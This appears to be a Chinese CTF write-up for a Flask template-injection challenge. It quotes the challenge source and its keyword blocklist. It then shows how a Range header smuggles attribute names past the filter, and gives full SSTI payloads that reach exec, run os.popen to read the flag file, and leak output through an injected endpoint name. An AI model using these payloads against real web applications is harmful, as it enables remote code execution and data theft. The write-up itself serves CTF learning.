共计8211个字符,预计需要花费21分钟才能阅读完成。
题目
这题是上一题的复现,上一题在这里看: https://www.mcso.top/computer/ctf/xyctf2025-now-you-see-me-1/
源代码:
# -*- encoding: utf-8 -*-
'''
@File : src.py
@Time : 2025/03/29 01:20:49
@Author : LamentXU
'''
# DNS config: No reversing shells for you.
import flask
import time, random
import flask
import sys
enable_hook = False
counter = 0
def audit_checker(event,args):
global counter
if enable_hook:
if event in ["exec", "compile"]:
counter += 1
if counter > 4:
raise RuntimeError(event)
# 多限制了 referrer authorization user pragma mimetype
# 允许了 g|a referer
lock_within = [
"debug", "form", "args", "values",
"headers", "json", "stream", "environ",
"files", "method", "cookies", "application",
'data', 'url' ,'\'', '"',
"getattr", "_", "{{", "}}",
"[", "]", "\\", "/","self",
"lipsum", "cycler", "joiner", "namespace",
"init", "dir", "join", "decode",
"batch", "first", "last" ,
" ","dict","list","g.",
"os", "subprocess",
"GLOBALS", "lower", "upper",
"BUILTINS", "select", "WHOAMI", "path",
"os", "popen", "cat", "nl", "app", "setattr", "translate",
"sort", "base64", "encode", "\\u", "pop", "referrer",
"authorization","user", "pragma", "mimetype", "origin"
"Isn't that enough? Isn't that enough."]
# lock_within = []
allowed_endpoint = ["static", "index", "r3al_ins1de_th0ught"]
app = flask.Flask(__name__)
@app.route('/')
def index():
return 'try /H3dden_route'
@app.route('/H3dden_route')
def r3al_ins1de_th0ught():
quote = flask.request.args.get('spell')
if quote:
try:
if quote.startswith("fly-"):
for i in lock_within:
if i in quote:
print(i)
return "wouldn't it be easier to give in?"
time.sleep(random.randint(10, 30)/10) # No time based injections.
flask.render_template_string('Let-the-magic-{#'+f'{quote}'+'#}')
print("Registered endpoints and functions:")
for endpoint, func in app.view_functions.items():
if endpoint not in allowed_endpoint:
del func # No creating backdoor functions & endpoints.
return f'What are you doing with {endpoint} hacker?'
return 'Let the true magic begin!'
else:
return 'My inside world is always hidden.'
except Exception as e:
print(e)
return 'Error'
else:
return 'Welcome to Hidden_route!'
if __name__ == '__main__':
import os
try:
import _posixsubprocess
del _posixsubprocess.fork_exec
except:
pass
import subprocess
del os.popen
del os.system
del subprocess.Popen
del subprocess.call
del subprocess.run
del subprocess.check_output
del subprocess.getoutput
del subprocess.check_call
del subprocess.getstatusoutput
del subprocess.PIPE
del subprocess.STDOUT
del subprocess.CalledProcessError
del subprocess.TimeoutExpired
del subprocess.SubprocessError
sys.addaudithook(audit_checker)
app.run(debug=False, host='0.0.0.0', port=80)
思路
先看看源码,发现禁用词根上一题不同,我们通过以下代码查找改了哪些禁用词:
lock_within1 = [
"debug", "form", "args", "values",
"headers", "json", "stream", "environ",
"files", "method", "cookies", "application",
'data', 'url' ,'\'', '"',
"getattr", "_", "{{", "}}",
"[", "]", "\\", "/","self",
"lipsum", "cycler", "joiner", "namespace",
"init", "dir", "join", "decode",
"batch", "first", "last" ,
" ","dict","list","g.",
"os", "subprocess",
"g|a", "GLOBALS", "lower", "upper",
"BUILTINS", "select", "WHOAMI", "path",
"os", "popen", "cat", "nl", "app", "setattr", "translate",
"sort", "base64", "encode", "\\u", "pop", "referer",
"The closer you see, the lesser you find."]
lock_within2 = [
"debug", "form", "args", "values",
"headers", "json", "stream", "environ",
"files", "method", "cookies", "application",
'data', 'url' ,'\'', '"',
"getattr", "_", "{{", "}}",
"[", "]", "\\", "/","self",
"lipsum", "cycler", "joiner", "namespace",
"init", "dir", "join", "decode",
"batch", "first", "last" ,
" ","dict","list","g.",
"os", "subprocess",
"GLOBALS", "lower", "upper",
"BUILTINS", "select", "WHOAMI", "path",
"os", "popen", "cat", "nl", "app", "setattr", "translate",
"sort", "base64", "encode", "\\u", "pop", "referrer",
"authorization","user", "pragma", "mimetype", "origin"
"Isn't that enough? Isn't that enough."]
for i in lock_within2:
if i not in lock_within1:
print(i)
发现上一题的绕过手法不能使用了,多禁用了以下词:
referrer
authorization
user
pragma
mimetype
那再来看看 request
库里的哪些东西还能用呢?用以下代码检索:
lock_within2 = [
"debug", "form", "args", "values",
"headers", "json", "stream", "environ",
"files", "method", "cookies", "application",
'data', 'url' ,'\'', '"',
"getattr", "_", "{{", "}}",
"[", "]", "\\", "/","self",
"lipsum", "cycler", "joiner", "namespace",
"init", "dir", "join", "decode",
"batch", "first", "last" ,
" ","dict","list","g.",
"os", "subprocess",
"GLOBALS", "lower", "upper",
"BUILTINS", "select", "WHOAMI", "path",
"os", "popen", "cat", "nl", "app", "setattr", "translate",
"sort", "base64", "encode", "\\u", "pop", "referrer",
"authorization","user", "pragma", "mimetype", "origin"
"Isn't that enough? Isn't that enough."]
request =['__annotations__', '__class__', '__delattr__', '__dict__', '__dir__', '__doc__', '__enter__', '__eq__', '__exit__', '__format__', '__ge__', '__getattribute__', '__getstate__', '__gt__', '__hash__', '__init__', '__init_subclass__', '__le__', '__lt__', '__module__', '__ne__', '__new__', '__reduce__', '__reduce_ex__', '__repr__', '__setattr__', '__sizeof__', '__str__', '__subclasshook__', '__weakref__', '_cached_json', '_get_file_stream', '_get_stream_for_parsing', '_load_form_data', '_parse_content_type', 'accept_charsets', 'accept_encodings', 'accept_languages', 'accept_mimetypes', 'access_control_request_headers', 'access_control_request_method', 'access_route', 'application', 'args', 'authorization', 'base_url', 'blueprint', 'blueprints', 'cache_control', 'close', 'content_encoding', 'content_length', 'content_md5', 'content_type', 'cookies', 'data', 'date', 'dict_storage_class', 'endpoint', 'environ', 'files', 'form', 'form_data_parser_class', 'from_values', 'full_path', 'get_data', 'get_json', 'headers', 'host', 'host_url', 'if_match', 'if_modified_since', 'if_none_match', 'if_range', 'if_unmodified_since', 'input_stream', 'is_json', 'is_multiprocess', 'is_multithread', 'is_run_once', 'is_secure', 'json', 'json_module', 'list_storage_class', 'make_form_data_parser', 'max_content_length', 'max_form_memory_size', 'max_form_parts', 'max_forwards', 'method', 'mimetype', 'mimetype_params', 'on_json_loading_failed', 'origin', 'parameter_storage_class', 'path', 'pragma', 'query_string', 'range', 'referrer', 'remote_addr', 'remote_user', 'root_path', 'root_url', 'routing_exception', 'scheme', 'script_root', 'server', 'shallow', 'stream', 'trusted_hosts', 'url', 'url_root', 'url_rule', 'user_agent', 'user_agent_class', 'values', 'view_args', 'want_form_data_parsed']
for i in request:
flag = True
for j in lock_within2:
if j in i:
flag = False
break
if flag:
print(i)
blueprint
blueprints
date
endpoint
origin
range
scheme
server
shallow
以上几个还是能用,有个 request.range
属性。
到 request
源码里找到 range
属性,又是 HTTP Header,可以尝试注入:
保存在 units
里面,因此 request.range.units
可以利用。
我们在 Header 里加上这个属性,然后 request.range.units
就能获得我们传入的 args
,即可以构造 request.args
,就能输入任意字符了!
根据上一题同理的构造方法:
spell:fly-%23}{%print((((((((((()|attr((request|attr(request.range.units)).get(0|string))|attr((request|attr(request.range.units)).get(1|string))|attr((request|attr(request.range.units)).get(2|string)))(0)|attr((request|attr(request.range.units)).get(3|string)))())|attr((request|attr(request.range.units)).get(2|string)))(137))|attr((request|attr(request.range.units)).get(4|string))|attr((request|attr(request.range.units)).get(5|string))|attr((request|attr(request.range.units)).get(2|string)))((request|attr(request.range.units)).get(6|string)))|attr((request|attr(request.range.units)).get(2|string)))((request|attr(request.range.units)).get(7|string)))((request|attr(request.range.units)).get(8|string)))%}{%23
0:__class__
1:__bases__
2:__getitem__
3:__subclasses__
4:__init__
5:__globals__
6:__builtins__
7:exec
8:a=__import__('os').popen('xxx').read()
根据睡眠时间,判断文件在 1M 大小左右,肯定是不能通过延时盲注将这个文件读出来的(这得猴年马月啊!):
只能找回显了,我们注意到:
我们可以将要返回的值注入到 endpoint
这个变量上。
spell:fly-%23}{%print((((((((((()|attr((request|attr(request.range.units)).get(0|string))|attr((request|attr(request.range.units)).get(1|string))|attr((request|attr(request.range.units)).get(2|string)))(0)|attr((request|attr(request.range.units)).get(3|string)))())|attr((request|attr(request.range.units)).get(2|string)))(137))|attr((request|attr(request.range.units)).get(4|string))|attr((request|attr(request.range.units)).get(5|string))|attr((request|attr(request.range.units)).get(2|string)))((request|attr(request.range.units)).get(6|string)))|attr((request|attr(request.range.units)).get(2|string)))((request|attr(request.range.units)).get(7|string)))((request|attr(request.range.units)).get(8|string)))%}{%23
0:__class__
1:__bases__
2:__getitem__
3:__subclasses__
4:__init__
5:__globals__
6:__builtins__
7:exec
8:a=__import__('os').popen('base64 /flag*').read();__import__('flask').current_app.view_functions[a]=lambda:""
这样像一样得到 base64 编码的文件,并进行解码:
一个 PNG 图片?看来又是一道隐写题目。这道隐写没做出来。。。好像只能用网站来解。
根据 出题人的题解,用这个网址可以解开:https://toolgg.com/image-decoder.html。
将图片拖进去,得到 flag!